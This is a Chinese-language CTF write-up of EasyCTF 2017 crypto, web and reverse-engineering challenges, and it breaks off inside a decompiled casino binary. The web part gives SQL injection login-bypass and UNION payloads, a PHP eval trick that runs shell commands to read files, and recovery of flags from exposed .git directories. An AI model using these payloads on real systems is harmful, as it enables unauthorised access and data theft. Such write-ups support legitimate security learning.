λ yafu-x64.exe factor(1172115235823606152023154654763747932660073385647694278339165126116107393252225152886841069176950866458540922555424233427042989493814327572078420 5110462278896087432260439082955593874915727686637956899)

fac: factoring 11721152358236061520231546547637479326600733856476942783391651261161073932522251528868410691769508664585409225554242334270429894938143275720784205110462278896087432260439082955593874915727686637956899

fac: using pretesting plan: normal

fac: no tune info: using qs/gnfs crossover of 95 digits

div: primes less than 10000

fmt: 1000000 iterations

Total factoring time = 0.3556 seconds

***factors found***

P100 = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871

P100 = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869

ans = 1

import libnum

n = 11721152358236061520231546547637479326600733856476942783391651261161073932522251528868410691769508664585409225554242334270429894938143275720784205110462278896087432260439082955593874915727686637956899

p = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871

q = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869

e = 65537

c = 2907995727224121244474109148869412603986746589983095760953378907471772983106265015352351411281256847387789301815094608746590512178894738862276459859204020010443067567963450732279228357933677075986407

phi = (p - 1) * (q - 1)

d = libnum.modular.invmod(e, phi)

print libnum.n2s(pow(c, d, n)) # easyctf{tw0_v3ry_merrry_tw1n_pr1m35!!_417c0d}

推荐文章CTF中RSA的常见攻击方法

Diffie-cult

problem

I just intercepted some odd messages.txt. It appears to be a Diffie-hellman protocol, but my math isn’t good enough to figure out what the final shared key is. Help! (The answer is a number. There is no easyctf{})Hint: Wikipedia explains Diffie-hellman pretty well.

solution

g^a mod p = 421049228295820

g^b mod p = 105262307073955

p = 442101689710611

如果不知道Diffie-Hellman密钥交换算法可以先看

Diffie-Hellman密钥交换算法

Diffie-Hellman密钥交换算法及其优化

题目的意思大概就是想让我们求出密钥KDiffie-Hellman密钥交换算法的有效性依赖于计算离散对数的难度知乎-离散对数为什么是难题这里p较小且这题给的 g^a mod p 和 g^b mod p 以及 p 都比较巧 g^a mod p 即使A发送给B的值而 g^b mod p 是B发送给A的值为什么比较巧呢我们在素数库找到他们的标准分解式。

g^a mod p = 421049228295820 = 2^2 · 5 · 17 · 19^3 · 37 · 47^4 

g^b mod p = 105262307073955 = 5 · 17 · 19^3 · 37 · 47^4

p = 442101689710611 = 3 · 7 · 17 · 19^3 · 37 · 47^4

现在令 n = 17 · 19^3 · 37 · 47^4 那么就有

g^a mod 21n = 20n

g^b mod 21n = 5n

我们把 g^a mod 21n = 20n 化简一下即 g^a mod 21n = -n 因为有 20n mod 21n = -n 至于原理可以看一下密码学基础。

根据Diffie-Hellman密钥交换协议:

我们求的密钥K等于 K = (g ^ amod p)^b mod p

也就是: K = (g ^ amod 21n)^b mod 21n 而前面已求过 g^a mod 21n = -n 所以 K = (-n)^b mod 21n 现在只有b的值不知道不过我们可以以b自变量的值为变量研究因变量K的变化情况

n = 17 * (19 ** 3) * 37 * (47 ** 4)

p = 21 * n

for b in xrange(1,10):

    k = (-n) ** b % p

    print('k = (-n)^%d mod p = %d' %(b, k))

K = (-n)^b mod 21n

k = (-n)^1 mod p = 421049228295820

k = (-n)^2 mod p = 42104922829582

k = (-n)^3 mod p = 357891844051447

k = (-n)^4 mod p = 168419691318328

k = (-n)^5 mod p = 105262307073955

k = (-n)^6 mod p = 231577075562701

k = (-n)^7 mod p = 421049228295820

k = (-n)^8 mod p = 42104922829582

k = (-n)^9 mod p = 357891844051447

可以看到当b = 7又开始循环所以K的可能值有6个最后提交验证K为 421049228295820。

Security Through Obscurity

problem

I’ve never seen such a cryptosystem before! It looks like a public key cryptosystem, though… Could you help me crack it?

encrypt.sage publickey and ciphertext.txt

solution

SageMath 是一个基于GPL协议的开源数学软件。它使用Python作为通用接口将现有的许多开源软件包整合在一起构建一个统一的计算平台。我们的目标创建一个有活力的自由开源软件以替代MagmaMapleMathematica和Matlab。

中文版的SageMath入门手册

sage代码在线运行

信息安全数学基础-有限域

nth root algorithm

encrypt.sage

p = 196732205348849427366498732223276547339

primelist = [2,3,5,7,11,13,17,19,23,29,31,37,43,47,53,59]

secret = REDACTED

def calc_root(num, mod, n):

    f = GF(mod)

    temp = f(num)

    return temp.nth_root(n)

def gen_v_list(primelist, p, secret):

    a = []

    for prime in primelist:

        a.append(calc_root(prime, p, secret))

    return a

def decodeInt(i, primelist):

    pl = sorted(primelist)[::-1]

    out = ''

    for j in pl:

        if i%j == 0:

            out += '1'

        else:

            out += '0'

    return out

def bin2asc(b):

    return hex(int(b,2)).replace('0x','').decode('hex')

message = REDACTED

chunks = []

for i in range(0,len(message),2):

    chunks += [message[i:i+2]]

vlist = gen_v_list(primelist,p,secret)

print(vlist)

for chunk in chunks:

    binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1] #lsb first

    enc = 1

    for bit in range(len(binarized)):

        enc *= vlist[bit]**int(binarized[bit])

    enc = enc%p

    print(enc)

publickey and ciphertext.txt

p = 196732205348849427366498732223276547339

vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]

ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]

大致看一下程序理一下代码逻辑message就是我们要求的明文然后被分成每2个字符为一组添加到chunks列表

message = REDACTED

chunks = []

for i in range(0,len(message),2):

    chunks += [message[i:i+2]]

vlist已经给了所以不用再去求secret接下来就是每2个字符简单的二值化处理再倒序之后就是16次循环加密处理。

vlist = gen_v_list(primelist,p,secret)

print(vlist)

for chunk in chunks:

    binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1] #lsb first

    enc = 1

    for bit in range(len(binarized)):

        enc *= vlist[bit]**int(binarized[bit])

    enc = enc%p

    print(enc)

加密结果已经给了一共28组所以能推出明文长度为56我们知道ASCII字符的范围0-255再从上面的加密代码分析可知chunk最多就只有256*256=65536种组合再做16次循环加密处理也就是说最多1048576256*256*16次就能把一组明文穷举出来计算机对1048576这个次数简直毫无压力所以上代码

p = 196732205348849427366498732223276547339

vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]

ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]

plaintext = ''

for i in ciphertext:

    find = False

    for j in xrange(256):

        if find:

            break

        for k in xrange(256):

            chunk = chr(j) + chr(k)

            binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1]

            enc = 1

            for bit in range(len(binarized)):

                enc *= vlist[bit]**int(binarized[bit])

            enc = enc%p

            if enc == i:

                find = True

                plaintext += chunk

                break

print(plaintext)

flag{i_actu4lly_d0nt_know_th3_name_of_th15_crypt0sy5tem} 

used time:18.040904s

Lost Seed

problem

Every time I encrypt a flag with this program, it gives me something different.

solution

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char v3; // bl@2

  int result; // eax@4

  __int64 v5; // rcx@4

  char v6; // [sp+Bh] [bp-85h]@2

  int v7; // [sp+Ch] [bp-84h]@1

  int v8; // [sp+10h] [bp-80h]@1

  int v9; // [sp+14h] [bp-7Ch]@2

  FILE *stream; // [sp+18h] [bp-78h]@1

  char ptr[88]; // [sp+20h] [bp-70h]@1

  __int64 v12; // [sp+78h] [bp-18h]@1

  v12 = *MK_FP(__FS__, 40LL);

  stream = fopen("flag.in", "r");

  fread(ptr, 1uLL, 0x50uLL, stream);

  fclose(stream);

  stream = fopen("flag.out", "wb");

  seed = realrand("flag.out", "wb");

  v7 = 0;

  v8 = strlen(ptr);

  while ( v7 < v8 )

  {

    v3 = ptr[v7];

    v9 = pseudorand();

    v6 = v3 ^ v9;

    fwrite(&v6, 1uLL, 1uLL, stream);

    ++v7;

  }

  fclose(stream);

  result = 0;

  v5 = *MK_FP(__FS__, 40LL) ^ v12;

  return result;

}

Listen Closely

problem

We intercepted a secret message, but we can’t tell what it’s saying. Maybe you can help? super secret messagehint: 1, 16, 8000. After you use those, the problem is strictly crypto.

solution

writeup

Genius

problem

Your boss told you that this team has come up with the cryptographic hash of the future, but something about their operation just seems a little fishy.

solution

8a7fca9234d2f19c8abfcd812971a26c8c510dcaefd5061b191ad41d8b57d0ce631f5074f94b32730d0c025f1d7aacd7

be1ab1632e4285edc3733b142935c60b90383bad42309f7f6850d2b4250a713d0b2d7a97350465a02554d29d92bfefaf

d64ddd0de1b187cd670783f5e28d681dd401ed3009d05ce4ef600d364a2c953e4cc801b880dddef59829a5ad08bd8a63

73d559bc117f816333174e918d0587de5cca214701dbe9f7f42da7bccf074b811292b9d4dc398866ef95869b22b3941e

78635bc95eaa7662a2ddf3e3d45cf1084f4233d6c396e8a0e6fbf597d07b88178d03f3f7757bdbdaaed60729d08bb180

b42dad5453b2128a32f6612b13ea5d9fef843bee79633652a6d6ae08e964609f00e883ab809346226dff6887080fb68b

给了6组哈希值每组96个字符还提示到了MD5于是丢crackstation跑一下

简单验证一下

md5(like) = be1ab1632e4285edc3733b142935c60b

md5(ly_s) = d64ddd0de1b187cd670783f5e28d681d

md5(ng_2) = 73d559bc117f816333174e918d0587de

md5(have) = b42dad5453b2128a32f6612b13ea5d9f

推测每组就是三个MD5组合的于是将所有的MD5换行拆分再进行一次查找

还有7个没有破解从上面的都是4位简单的消息于是把未找出的7个扔MD5库

按顺序组合一下OMG_it_took_like_LITerally_s0oO00_long_2_MAK3_md5_werrk_you_have_no_id34 提交给了flag easyctf{OUR_3nCRYpti0n_is_N0T_br0k3n_Ur_brok3n_6c5a390d}

py优雅解决方式

import hashlib

hashs = '8a7fca9234d2f19c8abfcd812971a26c8c510dcaefd5061b191ad41d8b57d0ce631f5074f94b32730d0c025f1d7aacd7be1ab1632e4285edc3733b142935c60b90383bad42309f7f6850d2b4250a713d0b2d7a97350465a02554d29d92bfefafd64ddd0de1b187cd670783f5e28d681dd401ed3009d05ce4ef600d364a2c953e4cc801b880dddef59829a5ad08bd8a6373d559bc117f816333174e918d0587de5cca214701dbe9f7f42da7bccf074b811292b9d4dc398866ef95869b22b3941e78635bc95eaa7662a2ddf3e3d45cf1084f4233d6c396e8a0e6fbf597d07b88178d03f3f7757bdbdaaed60729d08bb180b42dad5453b2128a32f6612b13ea5d9fef843bee79633652a6d6ae08e964609f00e883ab809346226dff6887080fb68b'

def get_md5_list(hashs):

    md5_list = []

    for x in xrange(0, len(hashs), 32):

        md5_list.append(hashs[x:x+32])

    return md5_list

def gen_char_list():

    char_list = []

    for x in xrange(48, 58): # 0 ~ 9

        char_list.append(chr(x))

    for x in xrange(65, 91): # A ~ Z

        char_list.append(chr(x))

    for x in xrange(97, 123): # a ~ z

        char_list.append(chr(x))

    char_list.append('_') # _

    return char_list

def brute_force_md5(char_list, md5_list):

    plain_dict = {}

    for c1 in char_list:

        for c2 in char_list:

            for c3 in char_list:

                for c4 in char_list:

                    chars = c1 + c2 + c3 + c4

                    md5_obj = hashlib.md5()

                    md5_obj.update(chars)

                    md5_str = md5_obj.hexdigest()

                    if md5_str in md5_list:

                        plain_dict[md5_str] = chars

    return plain_dict

def get_plain(md5_list, plain_dict):

    plain = ''

    for md5 in md5_list:

        plain += plain_dict[md5]

    return plain

def main():

    md5_list = get_md5_list(hashs)

    char_list = gen_char_list()

    plain_dict = brute_force_md5(char_list, md5_list)

    plain = get_plain(md5_list, plain_dict)

    print(plain)

if __name__ == '__main__':

    main()

RSA 4

problem

After doing so much RSA, I finally messed up…. pls help. I encrypted my secret message but the decryption isn’t working!!

solution

writeup

Premium RSA

problem

My RSA is the greatest. It’s so strong, in fact, that I’ll even give you d! file

hint: You thought it’d be that simple?

solution

writeup

Paillier Service

problem

My friend made some sort of encryption service using the Paillier cryptosystem. Can you get him to encrypt the string easyctf{3ncrypt_m3!} for me? Your flag will be a base 10 integer.

Access his encryption service at paillier.tcp.easyctf.com 8570

solution

writeup

# Paillier.py

import binascii

#Gathered from connecting manually

# m = 1, r = 1

g = 76148136246979412868353192826161253341403849263254887278017187958514513340458179944731332795505616407225022188597713956679924138156737337560391522285190471306102238935856085554943425316921717217530405444795878376547349107664015741971592178799088766898531556269231518219697725522509132047243753064371633643298

# m = 2, r = 1

g2 = 152296272493958825736706385652322506682807698526509774556034375917029026680916359889462665591011232814450044377195427913359848276313474675120783044570380942612204477871712171109886850633843434435060810889591756753094698215328031483943184357598177533797063112538463036439395451045018264094487506128743267286595

expectedG2 = g*g

#Using Factordb, we find that expectedG2-g2 is a perfect square of a prime, which is below

#http://factordb.com/index.php?id=1100000000882961502

n = 76148136246979412868353192826161253341403849263254887278017187958514513340458179944731332795505616407225022188597713956679924138156737337560391522285190471306102238935856085554943425316921717217530405444795878376547349107664015741971592178799088766898531556269231518219697725522509132047243753064371633643297

n2 = n*n

m2r2 = 642704871773304452155778596282877892451871980828477596157415930594972102473171707034871466334408214634990379265334519095544245651795310239071984348465353456082430791507322024283077057140015173791209040404351064470318177893091562745760770981747716308255111472933684059218100124906239297276402113587510274467857526915676715307055889593001002210535184406398178516901311847346979934161946287183599368736554797730366291587740218078384204696550286009123986874335424671114430592617561047352470044247529967986001239137580719442869043114141323570567593427242451750466586033713111304296116982128148631354597378733690535403149

#check for no errors

assert (pow(g,2,n2)*pow(2,n,n2))%n2 == m2r2

assert (pow(g,2,n2))%n2 == g2

# get int of string easyctf{3ncrypt_m3!}

goal = b'easyctf{3ncrypt_m3!}'

hexGoal = str(binascii.hexlify(goal),'utf-8')

goal = int(hexGoal,16)

#print(goal)

#goal is divisible by 5, so use that for Homomorphic property

m5r1 = pow(g,5,n2)

goalDiv5 = goal // 5

# Now use the Homomorphic property :)

flagInt = pow(m5r1,goalDiv5,n2)

print(flagInt)

0×05 Web

Cookie Blog

problem

I found the cookie monster’s blog!

solution

TinyEval

problem

This page will evaluate anything you give it.

solution

首先想到可能是php的eval()函数于是随手输入echo”hello world”提示字符太长最后经过测试最多能输入11个字符。这里用到一个php的技巧

root@kali:~# cat 1.php 

<?php

eval("echo`ls`;");

?>

root@kali:~# php 1.php 

1.php

Desktop

Documents

Downloads

Music

Pictures

Public

Templates

Videos

于是输入echo ls:

看到了flag文件了但是文件名很长除了echo“就只能再输入5个字符所以要找到一个巧妙的方法多次尝试找到方法

echo`cat *`

刚好11个字符获得flag

Edge 1

problem

We found Edge inc’s website! Take a look at it here.

solution

官方提醒说不能使用扫描器要不然会被BAN但是搞了一通之后没有什么收获提醒说不能使用扫描器于是猜测是不是跟源码泄露有关就手动测试一下

index.php~

index.php.vim

index.php.swp

index.php.swn

index.php.swo

index.php.old

index.php.txt

index.php.bak

index.php.zip

index.php.rar

/.svn

/.git

测试到/.git终于出现惊喜

rip-git

root@kali:~# rip-git -v -u http://edge1.web.easyctf.com/.git/

root@kali:~/.git# git log

commit ee9061b25d8a35bae8380339f187b44dc26f4999

Author: Michael <michael@easyctf.com>

Date:   Mon Mar 13 07:11:47 2017 +0000

    Whoops! Remove flag.

commit afdf86202dc8a3c3d671f2106d5cffa593f2b320

Author: Michael <michael@easyctf.com>

Date:   Mon Mar 13 07:11:45 2017 +0000

    Initial.

commit 15ca375e54f056a576905b41a417b413c57df6eb

Author: Fernando <fermayo@gmail.com>

Date:   Sat Dec 14 12:50:09 2013 -0300

    initial version

commit 8ac4f76df2ce8db696d75f5f146f4047a315af22

Author: Fernando Mayo <fermayo@gmail.com>

Date:   Sat Dec 14 07:36:18 2013 -0800

    Initial commit

回滚到删掉flag之前

root@kali:~/.git# git reset –hard afdf86202dc8a3c3d671f2106d5cffa593f2b320

根目录出现了flag.txt:

root@kali:~/.git# cat flag.txt

easyctf{w3_ev3n_u53_git}

推荐文章关于WEB敏感文件探测的一点思考

Edge 2

problem

Last time we screwed up. But we’ve learned our lesson.

solution

再次访问 /.git 结果

虽然被禁止列目录但是那些文件依然存在再次尝试使用rip-git结果还是下载下来了接下来就跟Edge 1一样的做法了

root@kali:~# rip-git -v -u http://edge2.web.easyctf.com/.git/

root@kali:~/.git# git log

commit a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd

Author: Michael <michael@easyctf.com>

Date:   Mon Mar 13 07:32:12 2017 +0000

    Prevent directory listing.

commit 6b4131bb3b84e9446218359414d636bda782d097

Author: Michael <michael@easyctf.com>

Date:   Mon Mar 13 07:32:10 2017 +0000

    Whoops! Remove flag.

commit 26e35470d38c4d6815bc4426a862d5399f04865c

Author: Michael <michael@easyctf.com>

Date:   Mon Mar 13 07:32:09 2017 +0000

    Initial.

commit 15ca375e54f056a576905b41a417b413c57df6eb

Author: Fernando <fermayo@gmail.com>

Date:   Sat Dec 14 12:50:09 2013 -0300

    initial version

同样回到删掉flag之前

root@kali:~/.git# git reset –hard 26e35470d38c4d6815bc4426a862d5399f04865c

root@kali:~/.git# cat flag.txt

easyctf{hiding_the_problem_doesn't_mean_it's_gone!}

SQL Injection 1

problem

I need help logging into this website to get my flag! If it helps, my username is admin .Running sqlmap or the likes will earn you an IP ban.

hint: What does “injection” mean? How can you “inject” code into your username to control the username lookup?

solution

查看网页源代码估计SQL语句是这样的

select * from users where username="admin" and password=""

于是任意构造

" or "1"="1

select * from users where username="admin" and password="" or "1"="1"

flag easyctf{a_prepared_statement_a_day_keeps_the_d0ctor_away!}

SQL Injection 2

problem

I’ve told my friend a billion times that the user called leet1337 doesn’t exist on this website, but he won’t listen. Could you please login as this user, even though it doesn’t exist in the database? Oh and also, make sure that the user has a power level over 9000!!!!Running sqlmap or the likes will earn you an IP ban.

hint: The columns in the table are (not in order) username, password, power_level, and a unique id.

solution

根据提示估计SQL语句是这样的

select username, password, power_level, id from table where username="" and password=""

多次尝试使用union查询#号截断

" union select "leet1337", "leet1337", "leet1337", "9999"#

select username, password, power_level, id from table where username="" and password="" union select "leet1337", "leet1337", "leet1337", "9999"#"

Blogbox

problem

I found another blog! Do you think you can find a flag on it?

Hint: Use the search bar to see all the public posts! (And only the public posts!)

solution

根据提示进行搜索但是不论输入什么都得不到想要得结果搜索时GET请求类似这样

http://blogbox.web.easyctf.com/search?query=flag

后来看提示我们只能看到公开的 public 文章于是想到搜索有可能还可以传入 public 这个参数最终[http://blogbox.web.easyctf.com/search?query=ctf&public=0](http://blogbox.web.easyctf.com/search?query=ctf&public=0)

Web tunnel

problem

I was just going to search some random cat videos on a Saturday morning when my friend came up to me and told me to reach the end of this tunnel. Can you do it for me?

Hint: You should write a script for this. The tunnel goes on too deep for any normal human.

solution

打开网站得到一张二维码扫描之后得到的字符串又做为下一个二维码图片的路径就这样循环那么上脚本

import requests

QR_api = 'https://api.qrserver.com/v1/read-qr-code/'

QR_name ='DaicO7460493nYSuvLPW'

while True:

    if 'easyctf' not in QR_name:

        QR_url = 'http://tunnel.web.easyctf.com/images/' + QR_name + '.png'

        r = requests.get(url = QR_api, params = {'fileurl' : QR_url})

        QR_name = r.json()[0]["symbol"][0]["data"]

    else:

        break

print(QR_name) # easyctf{y0u_sh0uld_b3_t1r3d_tr4v3ll1ng_all_th1s_w4y}

0×06 Reverse Engineering

Hexable

problem

I tried to hide a flag sneakily, can you find it? Download

solution

Phunky Python I

problem

The other day we happened upon a dusty old laptop covered in duct tape and surrounded by several papers with notes scrawled all over them. Upon inspection, we found that the laptop contained several python files labeled phunky.

We’ve determined that each of the files contains a mini reversing challenge. The first task is simple: Find the value of x such that the program prints out easyctf (make sure it’s lowercase!).

phunky1.py

solution

x = 9758391023608105872L - 102

digs = [9758391023608105871L, 9758391023608105867L, 9758391023608105885L, 9758391023608105891L, 9758391023608105869L, 9758391023608105886L, 9758391023608105872L]

out = ""

for letter in reversed(digs):

    out = chr(letter - x) + out

print out + '{' + str(x) + '}'

flag easyctf{9758391023608105770}

Useless Python

problem

Boredom took over, so I wrote this python file! I didn’t want anyone to see it though because it doesn’t actually run, so I used the coolest base-16 encoding to keep it secret. python

solution

s=open('useless.py').read()

s=s.decode('hex')

while True:

    if 'exec(' in s:

        s = eval(s[5:-1])

    else:

        break

print s

flag = 'easyctf{python_3x3c_exec_3xec_ex3c}'

priint flag

Phunky Python II

problem

We stumbled across another phunky Python file. Can you find the redacted value of jkx that makes this program print True?

solution

题目

import operator

jkx = 0 # REDACTED

pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])

jkx *= pork

pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))

b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))

print b == 6548044661510965675361835669609097497614277988316628335954865908614987464656662774230164176397886049495203497380194320473112237121935351588106637391652296924206523967496334906449626062538176842451446687574581963609515235677360001918335627990557065870263618484501558703622228018822062325974112864876000000

第3行简化一下

pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])

pork = (3*jkx+11)-(1234/617)*jkx-12

pork = 3*jkx+11-2*jkx-12

pork = jkx - 1

结合第四行再次简化

jkx = jkx*(jkx-1)

第五行

pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))

是生成小于10000的所有质数列表这语法骚得不行Orz

第六行

b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))

b = 1

for i in range(len(str(jkx))):

    b = b * (pp[i] ** int(str(jkx)[i])

比如我们输入jkx值为123那么就会计算b = (2 ^ 1) (3 ^ 2) (5 ^ 3)

参考ValarDragon表哥的解法

import numpy as np

import math

#First step:

#Factor the number

endnum = 1165547315017833928671818221519514360217364769512850694972634276966608764777139685632107196533251916113636826873618982702626918260245806732321339626796631711528838400321866758812099562803500967678699400226626798016068690575469938736199168207523212687169370000

primes = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))

exps = []

#get prime factorization

for i in primes:

    k = 0

    while(endnum % i == 0):

        k+=1

        endnum /= i

    exps.append(k)

    if(endnum == 1):

        break

print("exponents = %s" %exps)

#Factorization obtained

def floorSqrt(n):

    x = n

    y = (x + 1) // 2

    while y < x:

        x = y

        y = (x + n // x) // 2

    return x

jkx2 = ""

for k in exps:

    jkx2 += str(k)

jkx2 = int(jkx2)

while(True):

    breakEarly = False

    try:

        jkxapprox = floorSqrt(jkx2)

        assert jkx2 == jkxapprox*(jkxapprox+1)

        print("jkx2 = %s" % jkx2)

        print("jkx  = %s" % (jkxapprox+1))

        breakEarly = True

        break

    except AssertionError:

        pass

    if(breakEarly):

        break

    jkx2 *= 10

Lucky Guess

problem

Would you like to play a guessing game?

solution

int __cdecl main(int argc, const char **argv, const char **envp)

{

  unsigned int v3; // eax@1

  const char *v5; // rax@8

  __int64 v6; // rax@10

  int v7; // eax@11

  __int64 v8; // rax@12

  int v9; // [sp+0h] [bp-A0h]@1

  int v10; // [sp+4h] [bp-9Ch]@1

  int i; // [sp+8h] [bp-98h]@3

  int v12; // [sp+Ch] [bp-94h]@1

  int v13[36]; // [sp+10h] [bp-90h]@1

  primp();

  qmemcpy(v13, "g", 0x88uLL);

  v3 = time(0LL);

  srand(v3);

  v12 = rand() % 0x4000000;

  v10 = 0;

  v9 = 0;

  while ( 1 )

  {

    v7 = v10++;

    if ( v7 > 22 )

    {

      LODWORD(v8) = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"no dice.");

      std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);

      return 0;

    }

    std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Guess? ");

    std::istream::operator>>(&std::cin, &v9);

    if ( v9 == v12 )

      break;

    if ( v9 >= v12 )

      v5 = "hi";

    else

      v5 = "lo";

    LODWORD(v6) = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)v5);

    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);

  }

  for ( i = 0; (unsigned __int64)i < 0x22; ++i )

    std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)(char)(v13[i] ^ c610[4 * i]));

  return 1;

}

if ( v9 == v12 ) break; 执行成功跳出 while 循环进入 for 循环得到flag最简单的方式就是修改 jnz 指令为 nop 指令

Hex QR

problem

I’ve stumbled upon a very strange QR code… seems like it was generated with this generator. What could it mean?

solution

writeup

67k

problem

Here are 67k binaries, well more accurately 67,139 binaries. Solve every single one, append the results together in order (shouldn’t be too difficult as the binaries are numbered) and then from there I’m sure you can figure it out.

Hint: Maybe write a script.

solution

writeup

#!/usr/bin/env python

import r2pipe

import json

import sys

import time

import os

# shift arithmetic right copied from http://stackoverflow.com/a/5833119

def rshift(val, n): 

    return val>>n if val >= 0 else (val+0x100000000)>>n

if __name__ == "__main__":

    r2p = r2pipe.open(sys.argv[1])

    r2p.cmd("aaa")

    # get the name of the function that does the operation

    t = r2p.cmd("aflj")

    d = json.loads(t)

    fc_name = d[0]["name"]

    if fc_name == "entry0":

        fc_name = d[1]["name"]

    # determine if sub, add, or xor is used

    t = r2p.cmd("pdj 1@%s" %( fc_name))

    d = json.loads(t)

    ins = d[0]["opcode"]

    # get the value of EAX

    t = r2p.cmd("pdj 1@entry0+0x1f")

    d = json.loads(t)

    pointer = d[0]["esil"].split(",")[0]

    pointer = int(pointer, 16)

    t = r2p.cmd("pxrj 4@%d" % (pointer,))

    d = json.loads(t)

    eax = d[0]["value"]

    # get the value of ECX

    t = r2p.cmd("pdj 1@entry0+0x24")

    d = json.loads(t)

    ecx = d[0]["opcode"].split()[-1]

    ecx = int(ecx, 16)

    # determine the operation used by do_foo()

    answer = 0

    if "sub" in ins:

        answer = eax - ecx

    elif "xor" in ins:

        answer = eax ^ ecx

    elif "add" in ins:

        answer = eax + ecx

    # get value to use for SAR operation

    t = r2p.cmd("pdj 1@entry0+0x36")

    d = json.loads(t)

    pointer = d[0]["esil"].split(",")[0]

    pointer = int(pointer, 16)

    t = r2p.cmd("pxrj 4@%d" % (pointer,))

    t = t.replace("\\x", "")

    d = json.loads(t)

    val = d[0]["value"]

    cl = val & 0xFF

    # get the solution to the challenge

    solve = rshift(answer, cl)

    solve = solve & 0xff

    sys.stdout.write("%c" % (solve,))

Heaps of Knowledge

problem

Can you pwn this? Navigate to /problems/heaps_of_knowledge/ on the shell server and read flag.txt.

Binary

solution

writeup

Morphin

Welcome to the RE training course, this problem has 4 phases. Solve all four to get the flag.

Note: On phase 1 round to 6 significant figures.

Download

writeup

0×07 Binary Exploitation

Risky Business

problem

We wanted to branch into the casino business, but human employees are too expensive so we decided to automate it. I feel like we missed something obvious though… Oh well! Here’s the binary: casino

Solve this problem by logging into the shell server and navigating to /problems/casino.

int __cdecl main(int argc, const char **argv, const char **envp)

{

  __int64 v3; // rax@1

  __int64 v4; // rdx@1

  __int64 v5; // rax@1

  int v6; // ebx@2

  __int64 v7; // rdx@2

  __int64 v8; // rax@2

  __int64 v9; // rax@2

  __int64 v10; // rdi@2

  __int64 v11; // rdx@2

  __int64 v13; // rax@4

  int v14; // eax@4

  __int64 v15; // rdx@4

  bool v16; // al@6

  __int64 v17; // rax@11

  __int64 v18; // rax@13

  __int64 v19; // rdx@14

  __int64 v20; // rax@15

  __int64 v21; // rax@16

  int v22; // [sp+Ch] [bp-1C4h]@4

  char v23; // [sp+10h] [bp-1C0h]@4

  char v24; // [sp+30h] [bp-1A0h]@4

  __int64 v25; // [sp+B0h] [bp-120h]@4

  __int64 v26; // [sp+1B8h] [bp-18h]@1

  v26 = *MK_FP(__FS__, 40LL);

  LODWORD(v3) = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to the EasyCTF 2017 Casino", envp);

  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);

  LODWORD(v5) = std::operator<<<std::char_traits<char>>(

